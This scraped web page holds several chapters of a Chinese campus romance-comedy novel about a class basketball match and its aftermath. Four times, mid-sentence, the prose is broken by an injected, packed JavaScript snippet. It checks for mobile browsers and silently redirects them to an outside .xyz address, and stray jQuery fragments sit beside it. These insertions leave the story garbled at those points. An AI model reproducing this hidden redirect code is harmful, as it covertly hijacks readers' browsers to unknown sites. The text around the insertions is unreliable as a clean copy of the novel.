“杀疯了,杀疯了!”解说员也激动了,对着纪小鱼龇牙咧嘴的高清特写侃侃而谈,“观众朋友们,你们看见了吗?纪小鱼同学如同恶狗扑食一般,无情地扑走了何非亮同学夺得个人首分的希望。啊,这是怎样的一种壮举啊!瞧,多么凶狠而矫健的身姿!瞧,多么冷酷又决绝的眼神!诶……等等,他们不都是A班的吗?” 陈典也和旁边的队友面面相觑,“啥情况?小鱼仔这是加入我们了?” 纪小鱼对外界的反应充耳不闻,他运着球,在脚跨三分线时横步转身,扭转跳投,一气呵成。 “嘀。” 说时迟那时快,乔冬冬在纪小鱼一出手的瞬间,就针锋相对地摁开了风扇的按钮。 纪小鱼稳稳落地,报之以一笑。 呵呵,用同样的把戏一直欺负人哦?未免也太天真了吧! 当他是傻的吗? 就在刚才短暂的休息时间里,纪小鱼已经把风扇的风力,以最新参数的形式,添加进了篮球落网的轨迹方程2.0里。 原本偏离篮心的球在风力的加持下,逐步转向正确的轨道。 乔冬冬墨镜后的目光一凝,指尖微动,又是“嘀”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975595|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,风力猛地增大了一级。 诶诶诶? 纪小鱼还没来得及摆好骄傲的姿势,就在飞沙走砾中怔愣住了。 什么?风力还可以加的吗!? 这是什么牌子的风扇,给广告费了吗? 黝黑的铁皮,锃亮的折光——强力运转的风扇仿佛贴上了【三分球杀手】的商标,金属叶面高速地旋转,切割出令人绝望的嗡鸣。 风也凉凉,心也凉凉。 【Warning!Deviation from the track has been detected!】 【Warning!Deviation from the track has been detected!】 …… 纪小鱼的脑海中响起一声声警报——投出的球终究还是偏移了预想,可他能做的只是站在原地打太极,希望能再召唤出一道风来对冲一下。 然而并没有。 世界是物质的,是不以人的意志为转移的。 纪小鱼最终还是只能眼睁睁地看着球斜撞向篮板后弹回地面,在萧瑟的风里,忍不住有了点酸涩的委屈。 就在这时,有人逆风而来,在疾风中留下一痕凌厉的碎影。他干净利落地截住了下落的篮球,然后起跳、抬手,无视了一切阻力,将球简单粗暴地按入了篮网。 转折来得太过突然,安静了一会,球场边才后知后觉地爆发出了阵阵尖叫以及雷鸣般的掌声。 “天啊!刚才那是什么神级的操作!” “啊啊啊啊啊!何非亮也太帅了吧!” “太秀了!闪瞎了!爱了爱了!” 35:41! 虽然A班还是暂时处于落后的位置,但这重要吗? 一片欢腾的海洋里,完成了一系列扣篮动作的何非亮回身,神色平淡地从风暴中走出,就差没把“基操勿6”打在脸上了。 “嗯?”乔冬冬握着风扇遥控器的手一紧。何非亮这副波澜不惊的表情,落在她的眼里,明摆着就是在不屑,就是在宣战,就是在说——“抱歉,你能奈我何?”着实是有点……让人不爽呢。 殊不知,球场的正中,有人早已咬牙切齿、如疯如魔—— 啊啊啊啊啊! 装到了,又被何非亮装到了! 好气哦! 没召唤来风,却召唤来了风一般的装逼男子。短时间内遭遇了人生双重打击的纪小鱼,眼睛无可避免地变成了两团燃烧着的小火苗。 可恶!这样下去不行!得赶紧想办法,不然风头就全被何非亮抢光了! 但是——该怎么办呢? 仔细想想,现如今,腹背受敌,内忧外患;豺狼环伺,风雨飘摇! 追根溯源,此球本来能进,优势完全在我…… 低头琢磨了一会,纪小鱼的目光最终停留在了呼呼造风的罪魁祸首之上。 算了!古语云:忍一时风平浪静,退一步海阔天空!先把这碍事的风解决了再说! 成大事者不拘小节! 纪小鱼牙一咬,心一横,向裁判喊了暂停,然后冲到了乔冬冬面前,喊道,“喂,有话好说,什么事情都可以谈嘛。但你能不能……” 32.第三十二章 偶像包袱 【数值判定中……】 【好感度达到要求,触发特殊剧情】 何非亮不知道从哪里闪了出来,把纪小鱼拉到身后。他看向乔冬冬,曲起食指在风扇的金属外壳上叩了叩,半随意地开口道,“关了?” “不好意思,和你没有什么好商量的。”乔冬冬莞尔,目光绕过何非亮,饶有兴趣地落在了他身后,“纪小鱼,你刚才说——什么事情都可以谈?” “我……”纪小鱼下意识地用眼角的余光瞥了眼何非亮。 好像“一鼓作气、再而衰、三而竭”一般,刚才气头上的冲劲被这么一打岔,立马显露出了退缩的趋势;又好像陷入了一时的紧张和困惑,何非亮站出来,这是在帮他出头吗……纪小鱼自己也说不清自己的感受了。 这样的结果就是,他的嘴巴张了张,却终于是一个字也没能说出来。 “不是商量,是要求。”何非亮挡在纪小鱼身前,淡淡然地开口道,“你影响到比赛了。” 乔冬冬勾起一丝不以为意的冷笑,“那又如何?” 何非亮沉吟了一会,还是说,“这是我们A班和F班之间的事,你最好不要插手。” “如果我偏要呢?” “那十秒钟以后,你也许会后悔。” “呵呵。我倒要看看,你怎么让我后悔!”乔冬冬嚣张地操控着风扇对准了何非亮,一边不慌不忙地数起了倒计时,“十、九、八、七……” 呼啸的风席卷而来,近距离之下,风力强劲到人都有点站不住脚。 纪小鱼缩在何非亮的背后,心脏砰砰直跳,直呼刺激。 狂风之下,何非亮的身形屹然不动,如一杆青竹,清冷间又显露出坚毅。但是——他的发型乱了啊!!! OMG! OMG! 何非亮这种人,一看就是有偶像包袱的。那么,有偶像包袱的人都有什么特点呢?其中一个,想必就是——“头可断、发型不可乱”! 纪小鱼笑呵呵地看着何非亮乱乱的头发,心里坏坏地想——这下可有好戏看啰! “六、五、四、三、二……” 乔冬冬嘴上念着的倒计时还在继续。她每往下念一个数字,脸上的笑容便更深一分。 然而,何非亮唯一做出的举动,竟然只是从口袋里不慌不忙地掏出了手机。 “?” 纪小鱼的脑海中不仅浮现出了一个大大的问号。 何非亮这是要干嘛? 打电话报警吗? 还是开直播让父老乡亲们评评理? 终于,乔冬冬脸上的笑容浓郁到了极点,要有多不屑、就有多不屑地喊到了——“零!” 与之同时响起的,还有“嘀”的一声。 大风扇突然扭过脖子,叛变了似的把头一晃,撇向了乔冬冬。 “我……去!”乔冬冬险些被巨大的风力从沙滩椅上掀翻。她凭借着身体的柔韧性勉强站住了,脸上的墨镜却顺着鼻梁边被吹落在地,滑了好几米远。 海藻似的长发在身后群魔乱舞,乔冬冬狼狈地攥紧了双拳,怨念在身后有如长着恶魔犄角的鬼魂。 “救命!”潜藏在幕后的卓影顿时感受到了焦头烂额的滋味——他太了解乔冬冬的偶像包袱了!她可是处女座的啊! 顾不得想太多,在这决定记者社生死存亡的危急关头,卓影手忙脚乱地把直播画面切到了纪小鱼无辜而迷茫的脸上,然后连忙对着记者社的应急小组下达了死命令,“各大平台上,刚才那一段一定要马上剪掉。绝对不允许刚才的画面在任何平台上流出……收到请回复!” 解说员一脸懵逼地看着屏幕上的画面就这么定在了纪小鱼放大的俊脸上,清了清嗓子,凭借着专业的素养临场发挥道,“注意看,眼前的男人叫做小帅,啊不,小鱼……” “嘀。”风扇终于偃旗息鼓,慢悠悠地停了下来。 何非亮握着手机,平静地注视着乔冬冬,像是在宣示着胜利。 “算、你、狠!”乔冬冬咬着牙,强自保持着微笑。在众人惊异的目光间,她拢了拢垂落的头发,扭头就走,走时不忘把跌落的墨镜愤恨地踩得粉碎。 啧啧啧……纪小鱼在心里暗自感慨——何非亮真是低情商!很明显,他又被多一个人给拉黑了! “小鱼,以后遇到这种事情不用妥协,”何非亮晃了晃手机上的风扇智能遥控器APP,“我们可以用科技打败科技。” “那用什么可以打扁你?” “小鱼。”何非亮眨了眨眼睛,“我们是队友啊。” “哦~我懂了!”队友纪小鱼恍然大悟,“用科技打败科技,用队友打败队友!哦呵呵呵呵,何非亮你等着吧!” 何非亮:“……” 喂? 可以举报吗? - 暂停时间结束,比赛继续! 没有了风扇的干扰,纪小鱼在三秒钟之内便脑补好了一千种帅气投篮的姿态,中心思想是——笑容要邪魅狂狷、眼神要嚣张凌厉、身姿要放荡不羁;球进了以后,在欢呼和掌声之中,要适度矜持,保持泰山崩于前而色不变,炸弹爆于后而头不回的冷酷从容。 如此逼格,定当让何非亮自惭形秽、自叹不如、自暴自弃! 哦呵呵呵呵呵! 然而,正当纪小鱼跃跃欲试,预备好了大展身手之际,F班似乎采取了“1v1盯人防守”的战略,他的身前总有一个大块头阴魂不散地堵着他,让他往左也不是,往右也不是,更别提从队友手上拿到球了。 纪小鱼心里有点窝火,和眼前老挡着他视线的大块头商量道,“喂,朋友,你能不能先去防一下何非亮?” “哦,不行诶,我不负责防他,”大块头一本正经地回答道,“何非亮是你们班最厉害的球员,由我们队长亲自防守。” 何非亮是你们班最厉害的球员~ 最厉害的球员~ 最厉害~ 这句话仿佛自带回音特效,在纪小鱼脑海里不住地回荡、回荡、回荡。 纪小鱼平静的脸上突然泛起了一丝阴森的笑容,这笑容逐渐扭曲、扭曲、扭曲。 大块头被纪小鱼脸上杀气腾腾的笑容吓愣了一下。他虽然读书不多,但还是从纪小鱼脸上看出字来,满脸都写着两个字——“咬人”。 纪小狗乘此机会,冲出大块头的防守,龇牙咧嘴地朝何非亮的方向狂奔而去,一把挤开了正被陈典严密防守的何非亮。 “汪!”纪小狗气势汹汹地盯着陈典,以一种无比霸道的姿态,强横地要求道,“你,防我,不许防何非亮!” 什么情况!?眼前突然冒出了一个咄咄逼人的小鱼仔,陈典一时有点混乱,没反应过来。 何非亮趁此从防守中脱出,当然不会放过这个宝贵的进攻机会,一个轻松的上篮—— 37:41! 比分再次拉近! 在欢呼、掌声以及无数迷弟迷妹的星星眼中,何非亮一时风头无二。他面不改色的保持着逼格,只是在路过纪小鱼的时候,轻轻地笑了笑,“谢了,小鱼。” “呵呵,”纪小鱼心情复杂地挤出一丝虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979835|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伪的笑,“不用谢,让你的。” “观众朋友们,你们看到了吗?”解说员也兴奋了,“A班的同学是多么的团结,上下一心,为了团队的胜利目标而共同前进!纪小鱼同学冲出防守以后,第一时间放弃了自己得分的机会,转而帮队友吸引火力,为何非亮同学创造出了宝贵的进攻机会。而何非亮同学也不负众望,为A班再得两分! “如果看过上期校刊的同学应该知道,”解说员神秘一笑,荧屏上突然出现了纪小鱼和何非亮两只交叠在一起的手,“纪小鱼同学和何非亮同学的关系其实并不简单哦~当然,如果没有看过的朋友也不要紧张,现在扫码订购并关注公众号,精彩必抢先,吃瓜不落后,更多资讯,记者社将为您持续跟踪报道……” 这次,荧屏上打出了校刊的收款码,和记者社公众号的二维码。 操场上顿时再次竖起一片手机,蔚为壮观。 看到这里的卓影微微一笑,满意地点了点头——记者社牛逼,活该那么有钱! 啊,到底谁是那位英明神武、带领记者社从一贫如洗到财源滚滚、堪称商业鬼才的社长大人呢? 哦,是我自己! (*^_^*) - 陈典“破防”了。 他仔细回想了一下自己的战术,越想越觉得——没毛病啊! 篮球场上,易守难攻。基于这点,他吸取了“田忌赛马”的精髓,由他来负责防守何非亮,大块头队友负责防守小鱼仔,剩余的三名F班的队员各个都是碾压A班球员的好手,打得他们落花流水根本不是事。如此一来,F班取得最后的胜利不是轻而易举、板上钉钉的吗? 这谁听了都得说一句——完全没毛病啊! 嗯……怪就怪小鱼仔来得太快就像龙卷风,杀他了一个措手不及。 “别慌,继续刚才的战术!”陈典拍了拍大块头队友的肩膀,叮嘱道,“不过,小鱼仔狡猾得狠,你一定小心!” “是,队长!” …… 再次对上熟悉的大块头,纪小鱼沉默了。 他进行着深刻的自我反省—— 难道……我还没有证明,我才是A班最厉害的球员吗? 难道,刚才突破防守的英姿,还没有引起你们足够的重视吗? 哎呀,怪我,平时太过低调! “这个……我觉得你们对我可能还不够了解,”纪小鱼真诚地提议道,“还是让你们队长亲自来防我比较好,稳妥一些。” 纪小鱼语重心长的劝导被当成了王八念经,大块头牢记着队长的嘱托,不听、不信、不理会。他警惕地盯着纪小鱼,生怕错过了任何一个稍显可疑的举动。 然而,纪小鱼的每一个举动,似乎都充满了可疑的味道。 比如,他突然站定不动,以四十五度角仰望向天空,一脸震惊,“啊!快看!有飞碟!” “飞碟?” 大块头连忙扭头看向身后的天空——没看见哇! 别说飞碟了,连朵飞碟形状的云都没有! 哎呦,太阳还把眼睛给刺痛了! “诶,飞碟到底在哪里啊?” 大块头有些生气地回过头来,却发现……什么,纪小鱼不见了!!! 一股凉意直冲天灵盖——糟了! 大块头醒悟过来,流下了悔恨的泪水。 嘤嘤嘤,纪小鱼真是太狡猾了! 再也、再也不要相信他了! 一股悲愤涌上心头——可恶……绝对、绝对不能放过他! …… 33.第三十三章 比较内向 纪小鱼在前面跑,大块头在后面追。 你追我赶,鸡飞狗跳。 纪小鱼憋足了劲,跑得飞快,还顺手从F班球员的手里抢了个球。 大块头急了,“兄弟们,快拦住他啊!” 纪小鱼看着前面堵上来的人影,大喊道,“好烫好烫的开水哟,大家快让一让!” Σ(っ°Д °;)っ 众人连忙躲闪。 纪小鱼一时畅行无阻,直到眼前突然出现了陈典狞笑着的身影。 什么,陈典不怕开水烫!? “拿来吧你!”陈典恶狠狠地钳住篮球的两端。 “我不!”纪小鱼坚持。 陈典咬牙,汗水涔涔,胳膊上的肌肉崩起冷硬的线条,“给我!” 纪小鱼以不屈的意志,顽强抵抗着球那端,如同恶狼传说般的巨力,“不给!” 也许,人世间有一种智慧叫做“放手”;但,也必然有一种气概,叫做“绝不放手”! 两人在球场上拉拉扯扯,一时没有分出胜负。 僵持不下间,裁判摇了摇头,略显遗憾地吹响了口哨。 唉,该放下的终究还是要放下。 “好的对手是势均力敌的,”解说员为观众朋友们科普道,“但是呢,太过于势均力敌也会使比赛陷入僵局。一般来说,在没有犯规的情况下,双方球员同时触球却没有任何一方能在三秒内成功抢下球来,裁判就会判罚争球,双方进行跳球来重新决定球权。” 球再次被高高地抛起,这一次,仍然是F班队获得了球权。 也再一次的,大块头堵在了纪小鱼的身前。 目光交接之下,双方都显得有些倔强。 大块头的倔强中有一丝委屈——你骗人,根本就没有飞碟! 纪小鱼的倔强中有一丝崩溃——天啦噜,我到底哪里不如何非亮啦!求求了,不要再冥顽不灵了,让我们对刻板印象大声说“不”,好吗? 纪小鱼有气无力地指向天空,“啊!有飞碟!” 大块头不为所动。 “啊!有蟑螂!” 大块头根本不怕。 纪小鱼撇撇嘴,只好使出绝招。 他的面容突然变得慈祥,声音突然变得缓慢、绵长、没有起伏。 “Lesson 1: a private conversation……” 一阵困意袭来。 大块头泪眼涟涟地打了个哈欠。 纪小鱼叹了口气,大摇大摆地绕过了大块头。 哎呀,就是这么轻松。 熟练地抢下球来,纪小鱼运着球从何非亮身旁擦肩,凶巴巴地大声威胁道,“小亮仔,防好陈典!不然我打扁你!” 靓……靓仔? 咳,没办法,当着这么多人的面这样“夸”,何非亮只好配合地回了声,“遵命。” 刹那间,攻守易位。 陈典面对着目光骤然变得凌厉的何非亮,脑袋上不由地蹦出三个大大的“???” 球场的另一端,纪小鱼终于、终于再一次地踩在了自己期待已久的三分点位上。 仿佛王者归来,威风凛凛。 眼角眉梢,压不住的意气风发。 哦呵呵呵呵! 脚踩三分球在手,精彩不用等~太~久! 各位亲爱的观众姥爷们,稍安勿躁,该我出场表演了!!! 纪小鱼停顿了一下,目光霸气地扫视了一遍全场——很好,大家的目光都很捧场地聚焦在了他的身上。 万众瞩目间,纪小鱼嘴角勾起一抹又冷又飒、自认为帅得不行的笑,继而自信满满地起跳、投球。 然而腾空的一瞬间,一道不安的电流骤然闪过全身,纪小鱼强烈地感受到心脏漏跳了一拍,一股突如其来的重力拉着他直往地上拽。 眼角的余光通知大脑——不得了,鞋带散了,还被大块头踩住了! 大脑慌了——哎呀妈呀,这一倒,我可能就傻了啊! 这可不行! 大脑连忙指挥屁股老弟身先士卒。 屁股表示——万万不可啊,脑哥三思,这个姿势不够帅啊!会掉粉的啊! 事有轻重缓急,决策有利益相关——抗议无效,屁股着地的方案被强制执行。 …… 众目睽睽下,下落的风声从耳尖擦过,纪小鱼痛苦地想—— 这下,的的确确是要社死了罢! 没关系,坚强点。 明天就转学。 转去漠河以北、转去曾母暗沙、转去乌苏里江、抑或是帕米尔高原。 你已经长大了,要学会享受孤独、以梦为马、四海为家。 …… 然而,预想的疼痛没有到来。 好像有什么东西,用一种极其坚定的力道,拦肩托了他一把。 纪小鱼紧闭着的双眼困惑地睁开了一道缝隙——缝隙里,阳光有点晃眼,映着一个模模糊糊的轮廓。 那轮廓逆着光,从下颌到发梢,都镀着一层薄薄的金芒,好似整个人都在发光。唯独脸上的表情看不真切,目光里敛去了情绪,只余了一派深沉。 他扶住了纪小鱼的肩膀,身体也因着惯性微向前倾。 解说员一时支支吾吾地说不出话来。 该说点什么呢? “银色山泉流淌,泛着冷意的雪松在明亮的阳光里,轻轻地低下枝头。”——太虚! “就在刚才,何非亮如风一般冲出,扶住了就要跌倒的纪小鱼。”——太俗! “在这千钧一发之际,何非亮挺身而出,挽狂澜于既倒,扶大厦之将倾!”——神经病啊!语文老师会被气死的吧! 算了,还是把镜头交给震耳欲聋的沉默好了。 反正,群众间早已一片哗然。想来,就算他努力憋出了点什么,大家也顾不得听了。 纪小鱼迷茫地睁大了眼睛,好半晌,脑电波才勉勉强强接上了信号。 诶,何非亮还算有点良心!? 不枉我平日里对他冷嘲热讽、针锋相对…… 纪小鱼借着力站直了身体,拍着胸脯顺了口气,“不错,小亮仔,你救驾有功,一会重重有赏!” 哎呦喂,这个心脏好像总是迟钝得不行,明明大脑已经通知下去,警报解除了,它还是自顾自地跳得不行。一点也不符合自己酷炫帅哥的形象嘛! 大块头手足无措地站在一旁,有些紧张地解释道,“我……我不是故意的。” “没事,”纪小鱼摆摆手,“我这不是没摔着吗?” 说完,纪小鱼茫然地看向周围炸锅了的同学们,问道,“这是干嘛?大家怎么好像都很激动的样子?” 何非亮笑了笑,“因为你球进了,三分!” “!!!” 球进了!!! 纪小鱼顿时觉得自己要飘起来了! 果然,记分牌上已经显示为——“40:41”了! 哦! 四十比四十一,我们A班贼牛逼! 四十比四十一,要论牛逼我第一! 哦呵呵呵呵呵! “小鱼,别傻笑了,裁判喊你射罚球了。” “啊,还有罚球?” “嗯,”何非亮弯了弯眼睛,“小鱼,加油。” 这样的好机会,纪小鱼怎么会放过呢? 比分再次刷新到了41:41! 双方战平。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984716|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>第四节比赛时间即将过半,A班一口气连刷8分,大有逆风翻盘的趋势,无形中给了F班很大的压力。 陈典也有点焦急了。F班的综合实力在A班之上,但不知怎么,却总感觉有力没处使,好像一拳打在棉花上一样。 “不防了!”陈典咬牙,孤注一掷般地做出决定,“强攻!” F班的1v1盯人战术宣告破产,但取而代之的杀气腾腾的内线进攻。 A班也顺势切换风格,由其他三名球员负责阻挠拦截,干扰F班进攻的势头——不求防守成功,但求能拖慢F班犀利强横的进攻节奏。而纪小鱼和何非亮则双线主攻,抢断反击,拿球就射,灿烂又疯狂。 双方的比分再一度陷入你追我赶。 最后三秒。 “接招吧,小鱼……”何非亮在层层围攻之下,持着球,飞快地冲纪小鱼眨了眨眼睛。 纪小鱼心领神会,突然撒足狂奔。 何非亮微微一笑,球脱手而出,这次瞄准的不是篮网,而是……冲向篮底的纪小鱼。 堪称教科书式的传球! 纪小鱼稳稳接过,在毫无阻拦的一片真空之地中,高高跳起。 球在哨声吹响之际脱手,在空中划过一道完美的弧线,空心入网,杀死比赛! 57:55! A班获胜,再无悬念! 一片喧腾! 光与暗的夹缝中,有人站在极远处眺望战局,略带悲悯的目光扫过F班的球员,轻声自语道,“F班还是太心软了。最有效率的方式,应该是比赛的一开始,就用最凶狠的犯规,直接终结掉对方的当家选手……咳,不过如果这样,纪兄恐怕就要遭受许多皮肉之苦了。也罢……只是便宜了何非亮。” 比赛已经结束,但精彩还在继续。 观众们翘首以盼,看热闹不嫌事大地等着F班的众位好汉当众猪叫。 F班的众位好汉面面相觑,都看到了彼此脸上的纠结与羞愤。 陈典眼角紧绷的肌肉剧烈抽搐了一下,终于还是心一横,率先开口道,“兄弟们,愿赌服输!这次是我没指挥好,我带头来!” “队长……” 纪小鱼看着快哭出来的大块头,踱着步子走上前,摇头晃脑地来了一句,“猪,也分外向的,和内向的。” 陈典不怀好意地看向纪小鱼,“你说什么?” 纪小鱼撇撇嘴,“外向的猪大概叫的比较大声,内向的猪大概比较不爱说话。” 陈典愣了愣,突然就恍然大悟了! 最终,F班的球员们沉默寡言地绕操场蛙跳了一圈。 “我们模仿的是比较内向的猪!”在吃瓜群众们的一片唏嘘之下,F班众人理直气壮地解释道。 …… 夕阳西下,卓影正指挥着记者社的同学收拾着各类器材,“大家小心点啊,这些可都是租的,碰坏了要赔钱的啊。” “笃笃笃。” 突然,有人在他身旁的桌子上轻轻地叩了叩。 卓影侧过头,差点惊出一身冷汗。 来人看着他,一字一顿道,“心如江南莲,莲叶何甜甜?” 极其平静的声线,似在玩味、又似在威胁。 每念一个字,卓影身上的压迫感便重一分。 不过这一切也都在他的预想之中。卓影疯狂地推着眼镜,明示道,“诶,上次可是我给你通风报信,然后你还忘还我眼镜了不是?这个就算……我们扯平了?” 何非亮的目光沉浮了一番,终于妥协,“下不为例。” 卓影连忙点头。 等到何非亮走远时,卓影立马换上了“下次还敢”的嘴脸——开玩笑!资本在上,这可是……超过300%的利润啊! 34.第三十四章 考虑一下 晚自习。 白炽灯的灯光安静地落在作业本上,像在纸页间刷了一层浅霜。 纪小鱼下笔如飞,只是写着写着,思绪却总有点恍恍惚惚。好像有一半的大脑,还意犹未尽地停留在球场上,指挥着身体,自由而痛快地奔跑、厮杀。 啧,自己最后的那个进球真是帅爆了! 那一刻,全场都在欢呼、鼓掌、尖叫,翻腾成一片热烈的海洋。虽然不知道为什么好多人都在喊“在一起”…… 哦~我懂了! 一定是因为我太帅了,所以大家都想和我在一起! 哎呀呀,我这无处安放的魅力! 纪小鱼一边写着作业,一边努力地压制住飘飞的嘴角,生怕一不小心就笑出声来。 身旁,一道目光欲言又止,在他的身上停一停,挪开,过一会,又飘了上来。 “干嘛?”纪小鱼边写边问。 何非亮幽幽地开口道,“小鱼,你说,重重有赏的。” 纪小鱼的笔尖一颤。 呃…… 好像确实是有这么一回事? 只是,如今恰好手头不济,诸事拮据…… 罢了,古人云:“一言既出,驷马难追”!诚实守信,那是中华民族的传统美德! 纪小鱼在课桌抽屉里翻找了一阵,终于在课本与课本的夹缝中,掏出了一本皱巴巴的草稿本。 稍微翻了一下——真不错,里面是全新的耶! 纪小鱼认真地把草稿本抹平了些,递向何非亮,“呐,送你了。” “这种学校发的草稿本,我还有十本吧。” “这本不一样。” “?” 纪小鱼觍着脸,戳着草稿本的封皮,“这本上有我的亲笔签名。” “……” 何非亮终究还是收下了。 纪小鱼欣慰地点点头——咳,何非亮已经是一个成熟的高中生了,希望他能够明白“礼轻情意重”的道理~ …… 也许,这一天的晚自习注定不能平淡而朴实地度过了。 下课铃还没打响,A班教室门外闹哄哄的声音便越来越大。 纪小鱼察觉到动静,好奇地从题海中抬头,一瞥之下,才发现教室外不知什么时候已经黑压压地挤了一簇人,窗户上还贴满了花花绿绿的便利贴。 这是在干嘛? 有猜灯谜的活动吗? “好兄弟!”吕天明在后门口探出身子,兴奋地招呼道,“快来看!好多夸你的!你已经是我们S中的男神了!” 男……神!? 我? 还在同步运算数学题的脑电波如同突然失去了信号,“啪嗒”一声,骤停了。 纪小鱼手里的笔都忘了放下,便晕晕乎乎地飘出了教室门,目光从窗户上的便利贴一张一张地滑过。 嗯,这张是夸何非亮yyds的;这张是赞何非亮是人间理想的;这张直接就对何非亮说“I love you”了,还画满了许多小心心…… 纪小鱼看着,摇了摇头,忍不住就有了些感慨。 可惜可惜,何非亮这人婆婆妈妈、铁石心肠的,问就是修的无情道——这么多小心心,怕是终究要错付了! 有小诗为证: “爱河汹汹他不跳,桃花朵朵他不要。 他在爱河上搭桥,他在桃树下修庙。” 叹叹! 问世间情为何物? 也罢、也罢,下一张、下一张! 嗯,这张是夸何非亮霹雳无敌旋风帅的…… 啊?帅就算了,还霹雳无敌旋风帅! 真是浮夸哦! 纪小鱼透过便利贴的缝隙望进教室——何非亮正低垂着眉眼,一派悠然地写着题,好像自带一层与世隔绝的屏障似的,屏障外一派热闹、一派喧嚣,屏障内流云渡水、风烟俱净。 好像感应到了一般,何非亮微微侧过头,对视之下,朝纪小鱼浅笑了一下。 如清风,如朗月。 纪小鱼恍然一惊。 没关系,这张便利贴我们暂且先忽略掉。 但是…… 但是!我没有在写题,何非亮怎么能写题呢!!! 不行!得阻止他! 反卷斗士纪小鱼毅然决然地冲回教室,把何非亮生拉硬拽了出来,拉到一排便利贴前,阴阳怪气地开口,“哎呀,何非亮,你快看呐!好多好多喜欢你的哦!” 纪小鱼挤眉弄眼地拿胳膊肘戳了戳何非亮,怂恿道,“你就考虑考虑呗~” 何非亮在纪小鱼身上淡淡瞥了一眼,眸光流转间,突然就换上了一副要笑不笑的表情,“好啊,我记得你有个表弟叫做纪小帅,他好像……挺关心我的?让他联系我呗。” 嘿呦,好一个以进为退! 纪小鱼被狠狠地酸了一下,尴尬又好气地摸了摸鼻子。好在何非亮没有再继续追究下去,而是戳着其中一张便利贴,“诶,也有喜欢你的啊!” 纪小鱼顺着何非亮的指尖看去——真的,这张是夸我的!!! 何非亮往旁边走了两步,“喏,这也是。” 纪小鱼连忙看过去——哎呀,这张夸得……感情更加强烈一点!都有点不好意思了! “小鱼,”何非亮拿胳膊碰了回去,反将一军,“怎么样,你考虑吗?” “咳,”纪小鱼强挤出一丝笑,“你先考虑,喜欢你的比较多。” “你先才是,”何非亮推辞道,“喜欢你的比较少,比较容易考虑。” 喜~欢~你~的~比~较~少~ 纪小鱼遭受到了一万点伤害,并且持续掉血。 这……这! 这能忍吗!? 但,又好像偏偏是事实…… “喂,何非亮!”纪小鱼不爽地嚷嚷道,“三十年河东,三十年河西,你信不信,有一天喜欢我的人会比较多?” “嗯,确实,”何非亮诚恳地点头,“Every dog has its day,我相信你。” Dog??? 纪小鱼呼吸一滞,总觉得何非亮话里大有阴阳,但没有证据。 何非亮顺手拿起窗沿别人写剩没用放着的一小沓便利贴,又从纪小鱼手里抽过他还握着的笔,写写画画一番后撕下,也贴在了窗户上。 像是在欣赏,又像是在玩味,何非亮满意地看着便利贴上画着的一条小鱼外加一颗爱心,半带戏谑地扬了扬唇角,“怎么样,小鱼?帮你助力了。” 助力?再邀请一位好友,进度条即可达到99.31415926%的那种助力吗? Ok,很好,证据来了! 何非亮阴阳师实锤了! 纪小鱼一把扯下便利贴,抬眼直对上何非亮怎么看都像是在寻衅滋事的目光,用眼神警告道——小亮仔,说话注意点,你这是在大庭广众之下玩火! 何非亮回望向纪小鱼的目光,忽而轻笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998569|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小鱼,你的眼睛当真是流光溢彩。” “呵呵,那是战斗的火花!” 两人的目光在空气中一来一回地打架。 一时之间,小小的走廊间,风起云涌,惊心动魄,直叫天地黯然。 “At break of day in hope we rise We speak your name we lift our eyes …[1]” 广播中突然响起了动感的音乐,今晚似乎是特别版下课铃。 明亮的、热烈的、张扬的。 光辉的,燃烧的,疯狂的。 岁月赋予每个人不同的故事,有时灿烂如烟火,有时壮烈如江河,更多的时候如静水深流,表面风平浪静,内里暗涌不歇—— 一如此时的目光。 “纪小鱼!” 一直到听见有人喊,纪小鱼才回过神来,往身后一看。 诶,这不是他新收的小弟吗?是什么风把他给吹来了? “这是给你的。”卓影递上几个信封。 纪小鱼好奇地打开一看,只扫了一眼,面色突然就变得古怪起来。 欲说还休。 欲说还休…… “你……干嘛这样看着我?”卓影被纪小鱼的目光看得身上发毛。 